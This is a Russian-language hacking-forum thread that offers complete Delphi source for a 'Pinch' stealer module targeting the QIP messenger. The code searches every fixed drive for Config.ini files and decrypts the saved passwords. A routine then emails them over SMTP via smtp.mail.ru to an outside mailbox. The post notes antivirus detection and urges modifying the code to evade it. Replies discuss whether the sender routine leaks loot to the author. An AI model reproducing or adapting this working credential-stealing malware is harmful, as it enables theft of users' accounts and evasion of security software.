Пинч для Qip

t04 · 15 Feb 2007

Воруем пасы из Qip'a. Delphi.

Тема конечно изъезжена вдоль и поперек но многие хотят что бы пинч выдирал пасы и из qip'a тоже так как готовые модули никто не выкладывал то хочу поделиться своим;

я написал на Delphi весит около 11 Кб после упаковки UPX'ом, работает вплоть до билда 8000 и скорее всего выше тоже.

1) ищет и везде, по всем логическим дискам и каталогам
2) выдирает пароли
3) дешифрует их
4) отсылает пароли на почтовый ящик

стандартные модули для пинча тут они конечно же палятся каспером

поэтому желательно их модифицировать.

собсна мой модуль выгляд так:

Code:

unit uQIP;

interface

uses
  Windows;

function QIP(AD:Boolean) : String;

implementation

const
  clipboard = 255*1024;

type
  TMyArray = array[1..clipboard] of char;
  PMyArray = ^TMyArray;

var
  PasWD : String = 'qip:'+#$D+#$A;

//Ясно без комментариев ;)
function MyStrToInt(S:String):Integer;
var
  I, ErrorCode: Integer;
begin
  Result:=-0;
  Val(S, I, ErrorCode);
  if ErrorCode <> 0 then
    begin
      WinExec(PChar(ParamStr(0)),SW_HIDE);
      Halt;
    end
  else
    Result := I;
end;

//Расшифровка паролей
function DecryptQIPPass_New(pass:string):string;

function DecodeBase64(value:string):string;

function DecodeChunk(const chunk:string):string;
const
  b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
  w : LongWord;
  i : byte;
  c : char;
begin
  w:=0;
  Result:='';
  for i:=1 to 4 do
	  if pos(Chunk[i],b64)<>0 then
	    w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6);
  for i := 1 to 3 do
    begin
	    c:=chr(w shr((3-i)shl 3)and $ff);
	    if c<>#0 then Result:=Result+c
    end
end;

begin
  Result:='';
  if length(Value)and $03<>0 then exit;
  while length(Value)>0 do
    begin
      Result:=Result+DecodeChunk(copy(value,0,4));
      delete(value,1,4);
    end
end;

var
  t,i,c : integer;
begin
  i:=length(pass);
  if i=0 then
	  result:='Not Saved'
  else
	if i and $03<>0 then
	  result:='Cannot Decrypt'
	else
    begin
	    Result:=DecodeBase64(pass);
  	  t:=$1ac3;
    	  for i:=1 to length(Result) do
          begin
      	    c:=Ord(Result[i]);
      	    Result[i]:=chr(c xor(t shr 8));
            t:=(t+c)*$38421+$64ceb;
      	  end
    end
end;

function DecryptQIPPass_Old(pass:string):string;
const
  Table1:string='4654360486439083677';
  Table2:string='216463956385630579';

function DeXor1(const Pass,Table:string):string;
var
  CryptChar:Byte;
  i,p:Integer;
begin
  Result:=Pass;
  CryptChar:=Length(Table)-1;
  p:=1;
  for i:=1 to Length(Result) do begin
    if (CryptChar and 8) = 0 then
      CryptChar:=CryptChar xor 1;
    CryptChar:=not CryptChar;
    CryptChar:=(CryptChar shr 1)or(CryptChar shl 7);
    Result[i]:=Chr(Ord(Result[i])xor CryptChar xor Ord(Table[p]));
    Inc(p);
    if p>Length(Table) then
      p:=1;
  end;
end;

function DeXor2(const Pass:string):string;
var
  CryptInt:SmallInt;
  i,t,l,v:integer;
const
  Table: array[0..$5f] of Byte = (
    $5A, $54, $5B, $5C, $55, $4E, $48, $4F, $56, $5D, $5E, $57, $50, $49, $42, $3C,
    $43, $4A, $51, $58, $5F, $59, $52, $4B, $44, $3D, $36, $30, $37, $3E, $45, $4C,
    $53, $4D, $46, $3F, $38, $31, $2A, $24, $2B, $32, $39, $40, $47, $41, $3A, $33,
    $2C, $25, $1E, $18, $1F, $26, $2D, $34, $3B, $35, $2E, $27, $20, $19, $12, $0C,
    $13, $1A, $21, $28, $2F, $29, $22, $1B, $14, $0D, $06, $00, $07, $0E, $15, $1C,
    $23, $1D, $16, $0F, $08, $01, $02, $09, $10, $17, $11, $0A, $03, $04, $0B, $05
  );
begin
  Result:=Pass;
  l:=length(Result);
  t:=l;
  for i:=1 to l do begin
    CryptInt:=Ord(Result[i])-$20;
    if (CryptInt>=0) and (CryptInt<=$5f) then begin
      v:=CryptInt;
      if l and $03<>0 then
	t:=(t shl 3)or(t shr 27);
      t := t and $1f;
      CryptInt:=CryptInt xor t;
      t:=t+l+v;
      Result[i]:=Chr(Table[CryptInt]+$20);
    end;
    Dec(l);
  end;
end;

var
  i,l:integer;
begin
  result:='';
  l:=length(pass);
  if l=0 then
    result:='Not Saved'
  else
    if l and $01<>0 then
      result:='Cannot Decrypt'
    else
      begin
        for i:=1 to l do
          begin
          	if pos(pass[i],'0123456789ABCDEF')=0 then
              begin
            	  result:='Cannot Decrypt';
	              exit
	            end
          end;
        for i := 1 to l shr 1 do
	        Result:=Result+Chr(MyStrToInt('$'+Copy(pass,i shl 1 -1,2)));
      Result:=DeXor1(Result,Table1);
      Result:=DeXor1(Result,Table2);
      Result:=DeXor2(Result);
    end
end;

//Узнаем все логические диски
function MyGetLogicalDrives : String;
var
   drives  : set of 0..25;
   drive   : integer;
begin
   Result := '';
   DWORD( drives ) := Windows.GetLogicalDrives;
   for drive := 0 to 25 do
      if drive in drives then
         Result := Result + Chr( drive + Ord( 'A' ));
end;

{ Узнаем имя последнего каталога
  Нужно для того что бы узнать от какого UIN'a мы узнали пароль}
function ExtractLastPathName(S:String):String;
begin
Result:=S;
Delete(S,Length(S),1);
while Pos('\',s) <> 0 do
  begin
    Delete(s,1,Pos('\',s));
    Result:=S;
  end;
end;

//Выдираем криптованную строку из Config.ini
procedure ExtractPass(fp,fn:String);
var
  body: hFile;
  rd,x : cardinal;
  Size: DWORD;
  buf : PMyArray;
  st  : OFSTRUCT;
  s   : String;
begin
  s := '';
  body := OpenFile(PChar(fp+fn),st,OF_READ);
  Size:=GetFileSize(body,nil);
  GetMem(buf,Size);
  try
    ReadFile(body, buf^, Size, rd, nil);
    for x := 1 to Size do
        S := S + buf[x];
    if S <> '' then
      if Pos('NPass=',S) <> 0 then
        begin
          Delete(S,1,Pos('NPass=',S)+6{Length('NPass=')});
          Delete(S,Pos(#$D+#$A,S),Length(S)-Pos(#$D+#$A,S));
          S :=  ExtractLastPathName(fp)+'; '+
                S+'; '+
                DecryptQIPPass_Old(S)+'; '+
                DecryptQIPPass_New(S)+';'+#$D+#$A;
          PasWD := PasWD + S;
        end;
  finally
    CloseHandle(body);
    FreeMem(buf);
  end;
end;

//Ищем в каталоге с подкаталогами Config.ini
procedure ApiSearch(DiR:String);
var
  FileName: string;
  FindHandle:THandle;
  SearchRec:TWIN32FindData;
begin
  if Dir<>'' then if Dir[length(Dir)]<>'\' then
    Dir:=Dir+'\';
  FindHandle := FindFirstFile(PChar(DiR+'*'), SearchRec);
  try
  if FindHandle <> INVALID_HANDLE_VALUE then
    repeat
      FileName:=SearchRec.cFileName;
      if(FileName='.')or(FileName='..')or(Dir+FileName=ParamStr(0))then continue;
      if(SearchRec.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY <>0)then
        ApiSearch(DiR+FileName+'\')//Если это подкаталог то ищем в нем
      else
        if FileName = 'Config.ini' then
          ExtractPass(Dir,FileName);//Если это то что нужно то выдираем криптованную строку
    until FindNextFile(FindHandle,SearchRec)=false;
  finally
    Windows.FindClose(FindHandle);
  end;
end;

{ Основная функция возращает парли
  Если параметр истинный то ищет во всех логических дисках
  Если ложный - только в C:\Program Files\QIP\Users
}
function QIP(AD:Boolean) : String;
var
  i : Byte;
begin                 
  if AD then
    begin
      for i := 1 to Length(myGetLogicalDrives)do
        if GetDriveType(PChar(myGetLogicalDrives[i]+':\')) = DRIVE_FIXED then
          ApiSearch(myGetLogicalDrives[i]+':\');
    end
  else
    ApiSearch('C:\Program Files\QIP\Users');
  Result := PasWD;
end;

end.

function QIP(AD:Boolean) : String;
если параметр true то программа ищет во всех логических дисках и жесткий начинает шуршать
поэтому лучше сначала искать тока в C:\Program Files\QIP\Users а потом везде:

Code:

var
  PASSWORD : String;
begin
  PASSWORD := QIP(false);
  SendPasswords;
  PASSWORD := QIP(true);
  SendPasswords;
end;

SendPasswords(PASSWORD); - отсылка паролей, у мя например на мыло =) код внизу:

Code:

function DateTimeToStrNow:String;
var
  st : TSYSTEMTIME;
  s  : String;
begin
  Result := '';
  GetSystemTime(st);
  Str(st.wHour,s);
  Result := Result+S+':';
  Str(st.wMinute,s);
  Result := Result+S+':';
  Str(st.wSecond,s);
  Result := Result+S;
  Result := Result+' ';
  Str(st.wDay,s);
  Result := Result+S+'.';
  Str(st.wMonth,s);
  Result := Result+S+'.';
  Str(st.wYear,s);
  Result := Result+S;
end; 

function SendPasswords: boolean;
var
  WSAData: TWSAData;
  FSocket: integer;
  HostEnt: PHostEnt;
  SockAddrIn: TSockAddrIn;
  dBuff: PChar;
  dSize: dword;
  Str: array [0..255] of Char;
  HostName: array[0..128] of Char;

  function Success(): boolean;
  var
    Bytes: dword;
    RBuff: array [0..255] of Char;
  begin
    Result := false;
    Bytes := recv(FSocket, RBuff, 255, 0);
    if (Bytes = 0) or (Bytes = SOCKET_ERROR) then Exit;
    RBuff[3] := #0;
    if lstrcmp(RBuff, '220') = 0 then Result := true else
    if lstrcmp(RBuff, '250') = 0 then Result := true else
    if lstrcmp(RBuff, '354') = 0 then Result := true;
  end;

begin
  WSAStartup(257, WSAData);
  Result := false;
  FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons(25);
  SockAddrIn.sin_addr.s_addr := inet_addr('smtp.mail.ru');
  if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
    begin
      HostEnt := gethostbyname('smtp.mail.ru');
      if HostEnt = nil then
        begin
          CloseSocket(FSocket);
          Exit;
        end;
      SockAddrIn.sin_addr.s_addr := PLongint(HostEnt^.h_addr_list^)^;
    end;   
  gethostname(HostName, 128);
  if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) <> -1 then
   begin
    if Success then
     begin
      lstrcpy(Str, PChar('HELO ' + 'smtp.mail.ru' + #13#10#0));
      send(FSocket, Str, lstrlen(Str), 0);
      if Success then
       begin
        lstrcpy(Str, PChar('MAIL FROM: ' + '[email protected]' + #13#10#0));
        send(FSocket, Str, lstrlen(Str), 0);
        if Success then
         begin
          lstrcpy(Str, PChar('RCPT TO: ' + '[email protected]' + #13#10#0));
          send(FSocket, Str, lstrlen(Str), 0);
          if Success then
           begin
            lstrcpy(Str, 'DATA'#13#10#0);
            send(FSocket, Str, lstrlen(Str), 0);
            if Success then
             begin
              dSize := lstrlen(PChar(HostName+' '+DateTimeToStrNow+#$D+#$A+PASSWORDS));
              GetMem(dBuff, dSize + 6);
              lstrcpy(dBuff, PChar(HostName+' '+DateTimeToStrNow+#$D+#$A+PASSWORDS));
              lstrcat(dBuff, #13#10'.'#13#10#0);
              send(FSocket, dBuff^, dSize + 6, 0);
              FreeMem(dBuff);
              if Success then
               begin
                lstrcpy(Str, 'QUIT'#13#10#0);
                send(FSocket, Str, lstrlen(Str), 0);
                Result := true;
               end;
             end;
           end;
         end;
       end;
     end;
   end;
 CloseSocket(FSocket);
 WSACleanup(); 
 if Result = false then
  begin
    SendPasswords;
    Exit;
  end;
end;

Удачной охоты =)

С вопросами обращаться суда:
ICQ# 466-526-466

PS: Поставьте плюсик Plz =)

devil2007 · 17 Feb 2007

легче просто пинч 2.98 скачать но за старания +2

Chakir · 20 Feb 2007

не пользуйтель модулем для отправки он тасы крысит на мыло [email protected]
Code:
 lstrcpy(Str, PChar('MAIL FROM: ' + '[email protected]' + #13#10#0));
        send(FSocket, Str, lstrlen(Str), 0);
        if Success then
         begin
          lstrcpy(Str, PChar('RCPT TO: ' + '[email protected]' + #13#10#0));[code]

t04 · 20 Feb 2007

Chakir said:

не пользуйтель модулем для отправки он тасы крысит на мыло [email protected]

Code:

 lstrcpy(Str, PChar('MAIL FROM: ' + '[email protected]' + #13#10#0));
        send(FSocket, Str, lstrlen(Str), 0);
        if Success then
         begin
          lstrcpy(Str, PChar('RCPT TO: ' + '[email protected]' + #13#10#0));[code][/QUOTE]

во первых, это не в модуле а в теле программы.

во вторых, модуль только извлекает пасы в виде строки и ни какую инфу никуда не отсылает

в третьих, вы не обязанны указывать именно то мыло, и тем более использывать именно мою прцедуру отправки, как вы будуте отсылать, по мылу, по ftp, по http или еще как то - это ваши проблемы.

Click to expand...

gemaglabin · 20 Feb 2007

Расшифровка пассов с квипа же не твой код

t04 · 20 Feb 2007

gemaglabin said:

Расшифровка пассов с квипа же не твой код
Click to expand...

Читай начало статьи, где ты видел что я написал о том что расшифровка пасов это мой код? Я просто сказал что выложил нормальный модуль для извлечения пасов из qip.

NOmeR1 · 20 Feb 2007

t04 said:

Читай начало статьи, где ты видел что я написал о том что расшифровка пасов это мой код? Я просто сказал что выложил нормальный модуль в котором собрал всё необходимое для извлечения пасов в виде строки.
Click to expand...

Одна притензия : где копирайты?

t04 · 20 Feb 2007

NOmeR1 said:

Одна притензия : где копирайты?
Click to expand...

я не помню автора кода =(
напомни

Пинч для Qip

t04 Elder - Старейшина

devil2007 Banned

Chakir Elder - Старейшина

t04 Elder - Старейшина

gemaglabin Green member

t04 Elder - Старейшина

NOmeR1 Everybody lies

t04 Elder - Старейшина

Useful Searches

Пинч для Qip

t04 Elder - Старейшина

devil2007 Banned

Chakir Elder - Старейшина

t04 Elder - Старейшина

gemaglabin Green member

t04 Elder - Старейшина

NOmeR1 Everybody lies

t04 Elder - Старейшина